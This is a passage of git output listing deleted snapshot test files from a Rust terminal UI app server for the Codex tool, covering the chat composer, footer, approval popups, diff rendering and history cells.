codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_mode_cycle_without_context.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_empty_mode_only.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_full.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_message_without_context.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_mode_only.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_short_with_context.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_plan_queue_short_without_context.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_queue_full.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_queue_message_without_context.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_queue_mode_only.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_queue_short_with_context.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_collapse_queue_short_without_context.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_mode_ctrl_c_interrupt.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_mode_ctrl_c_quit.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_mode_ctrl_c_then_esc_hint.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_mode_esc_hint_backtrack.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_mode_esc_hint_from_overlay.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_mode_hidden_while_typing.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_mode_overlay_then_external_esc_hint.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__footer_mode_shortcut_overlay.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__image_placeholder_multiple.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__image_placeholder_single.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__large.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__mention_popup_type_prefixes.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__multiple_pastes.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__plugin_mention_popup.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__remote_image_rows.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__remote_image_rows_after_delete_first.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__remote_image_rows_selected.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__slash_popup_mo.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__slash_popup_res.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__chat_composer__tests__small.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__feedback_view__tests__feedback_view_bad_result.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__feedback_view__tests__feedback_view_bug.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__feedback_view__tests__feedback_view_good_result.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__feedback_view__tests__feedback_view_other.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__feedback_view__tests__feedback_view_safety_check.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__feedback_view__tests__feedback_view_with_connectivity_diagnostics.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_active_agent_label.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_composer_has_draft_queue_hint_enabled.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_context_tokens_used.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_ctrl_c_quit_idle.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_ctrl_c_quit_running.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_esc_hint_idle.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_esc_hint_primed.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_mode_indicator_narrow_overlap_hides.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_mode_indicator_running_hides_hint.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_mode_indicator_wide.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_shortcuts_collaboration_modes_enabled.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_shortcuts_context_running.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_shortcuts_default.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_shortcuts_shift_and_esc.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_status_line_disabled_context_right.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_status_line_enabled_mode_right.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_status_line_enabled_no_mode_right.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_status_line_overrides_draft_idle.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_status_line_overrides_shortcuts.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_status_line_truncated_with_gap.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_status_line_with_active_agent_label.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__footer__tests__footer_status_line_yields_to_queue_hint.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_auto_all_rows_scroll.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_auto_visible_scroll.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__list_selection_view__tests__list_selection_col_width_mode_fixed_scroll.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__list_selection_view__tests__list_selection_footer_note_wraps.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__list_selection_view__tests__list_selection_model_picker_width_80.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__list_selection_view__tests__list_selection_narrow_width_preserves_rows.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__list_selection_view__tests__list_selection_spacing_with_subtitle.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__list_selection_view__tests__list_selection_spacing_without_subtitle.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_approval_form_with_param_summary.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_approval_form_with_session_persist.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_approval_form_without_schema.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__mcp_server_elicitation__tests__mcp_server_elicitation_boolean_form.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_many_line_message.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_more_than_three_messages.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_multiline_pending_steer_uses_single_prefix_and_truncates.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_one_message.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_one_pending_steer.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_two_messages.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__pending_input_preview__tests__render_wrapped_message.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__skills_toggle_view__tests__skills_toggle_basic.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__status_line_setup__tests__setup_view_snapshot_uses_runtime_preview_values.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__tests__queued_messages_visible_when_status_hidden_snapshot.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__tests__status_and_composer_fill_height_without_bottom_padding.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__tests__status_and_queued_messages_snapshot.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__tests__status_only_snapshot.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__tests__status_with_details_and_queued_messages_snapshot.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__unified_exec_footer__tests__render_many_sessions.snap delete mode 100644 codex-rs/tui_app_server/src/bottom_pane/snapshots/codex_tui_app_server__bottom_pane__unified_exec_footer__tests__render_more_sessions.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__apps_popup_loading_state.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_approved_exec_renders_approved_request.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_parallel_reviews_render_aggregate_status.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui__chatwidget__tests__review_queues_user_messages_snapshot.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__apply_patch_manual_flow_history_approved.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__approval_modal_exec.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__approval_modal_exec_multiline_prefix_no_execpolicy.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__approval_modal_exec_no_reason.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__approval_modal_patch.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__approvals_selection_popup.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__approvals_selection_popup@windows.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chat_small_idle_h1.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chat_small_idle_h2.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chat_small_idle_h3.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chat_small_running_h1.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chat_small_running_h2.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chat_small_running_h3.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chatwidget_exec_and_status_layout_vt100_snapshot.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chatwidget_markdown_code_blocks_vt100_snapshot.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__chatwidget_tall.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__deltas_then_same_final_message_are_rendered_snapshot.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__disabled_slash_command_while_task_running_snapshot.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exec_approval_history_decision_aborted_long.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exec_approval_history_decision_aborted_multiline.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exec_approval_history_decision_approved_short.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exec_approval_modal_exec.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__experimental_features_popup.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exploring_step1_start_ls.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exploring_step2_finish_ls.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exploring_step3_start_cat_foo.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exploring_step4_finish_cat_foo.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exploring_step5_finish_sed_range.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__exploring_step6_finish_cat_bar.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__feedback_good_result_consent_popup.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__feedback_selection_popup.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__feedback_upload_consent_popup.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__final_reasoning_then_message_without_deltas_are_rendered.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__forked_thread_history_line.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__forked_thread_history_line_without_name.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__full_access_confirmation_popup.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__guardian_denied_exec_renders_warning_and_denied_request.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__image_generation_call_history_snapshot.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__interrupt_exec_marks_failed.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__interrupted_turn_error_message.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__interrupted_turn_pending_steers_message.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__local_image_attachment_history_snapshot.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__mcp_startup_header_booting.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__model_picker_filters_hidden_models.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__model_reasoning_selection_popup.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__model_reasoning_selection_popup_extra_high_warning.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__model_selection_popup.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__multi_agent_enable_prompt.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__permissions_selection_history_after_mode_switch.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__permissions_selection_history_full_access_to_default.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__permissions_selection_history_full_access_to_default@windows.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__personality_selection_popup.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__plan_implementation_popup.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__plan_implementation_popup_no_selected.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__preamble_keeps_working_status.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__rate_limit_switch_prompt_popup.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__realtime_audio_selection_popup.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__realtime_audio_selection_popup_narrow.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__realtime_microphone_picker_popup.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__replayed_interrupted_reconnect_footer_row.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__slash_copy_no_output_info_message.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__status_line_fast_mode_footer.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__status_line_model_with_reasoning_fast_footer.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__status_widget_active.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__status_widget_and_approval_modal.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_begin_restores_working_status.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_empty_then_non_empty_after.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_non_empty_then_empty_active.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_non_empty_then_empty_after.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_unknown_end_with_active_exploring_cell.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_wait_after_final_agent_message.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_wait_before_streamed_agent_message.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_wait_status_renders_command_in_single_details_row.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__unified_exec_waiting_multiple_empty_after.snap delete mode 100644 codex-rs/tui_app_server/src/chatwidget/snapshots/codex_tui_app_server__chatwidget__tests__user_shell_ls_output.snap delete mode 100644 codex-rs/tui_app_server/src/onboarding/snapshots/codex_tui_app_server__onboarding__trust_directory__tests__renders_snapshot_for_git_repo.snap delete mode 100644 codex-rs/tui_app_server/src/render/snapshots/codex_tui_app_server__render__highlight__tests__ansi_family_foreground_palette.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__app__tests__agent_picker_item_name.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__app__tests__clear_ui_after_long_transcript_fresh_header_only.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__app__tests__clear_ui_header_fast_status_gpt54_only.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__app__tests__model_migration_prompt_shows_for_hidden_model.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__cwd_prompt__tests__cwd_prompt_fork_modal.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__cwd_prompt__tests__cwd_prompt_modal.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__ansi16_insert_delete_no_background.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_add_block.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_delete_block.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_multiple_files_block.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_update_block.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_update_block_line_numbers_three_digits_text.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_update_block_relativizes_path.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_update_block_wraps_long_lines.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_update_block_wraps_long_lines_text.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__apply_update_with_rename_block.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__diff_gallery_120x40.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__diff_gallery_80x24.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__diff_gallery_94x35.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__syntax_highlighted_insert_wraps.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__syntax_highlighted_insert_wraps_text.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__theme_scope_background_resolution.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__wrap_behavior_insert.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__active_mcp_tool_call_snapshot.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__coalesced_reads_dedupe_names.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__coalesces_reads_across_multiple_calls.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__coalesces_sequential_reads_within_one_call.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__completed_mcp_tool_call_error_snapshot.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__completed_mcp_tool_call_multiple_outputs_inline_snapshot.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__completed_mcp_tool_call_multiple_outputs_snapshot.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__completed_mcp_tool_call_success_snapshot.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__completed_mcp_tool_call_wrapped_outputs_snapshot.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__error_event_oversized_input_snapshot.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__mcp_tools_output_masks_sensitive_values.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__multiline_command_both_lines_wrap_with_correct_prefixes.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__multiline_command_without_wrap_uses_branch_then_eight_spaces.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__multiline_command_wraps_with_extra_indent_on_subsequent_lines.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__plan_update_with_note_and_wrapping_snapshot.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__plan_update_without_note_snapshot.snap delete mode 100644 